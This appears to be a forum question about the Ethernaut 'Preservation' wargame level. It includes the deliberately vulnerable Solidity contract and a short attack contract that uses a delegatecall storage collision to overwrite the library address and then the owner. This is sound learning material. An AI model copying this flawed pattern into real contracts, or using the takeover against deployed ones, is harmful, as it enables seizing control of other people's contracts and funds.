I've been practicing Ethernaut #16 Preservation. Everything is okay and I understood what delegatecall is. But, I don't get why timeZone1Library
can be changed when we pass deployed attack address as setFirstTime
's parameter. I referred to D-Squared video.
Edit : I added source code of problem and attack code. Sorry I didn't know that linking video is not helpful. He deployed Attack code and called setFirstTime
with deployed Atrack contract address. And when he typed await web3.eth.getStorageAt(contract.address, 0, console.log)
in console, timeZone1Library
value got changed to address of Attack code.
- Problem code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
- Attack code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(address _owner) public {
owner = _owner;
}
}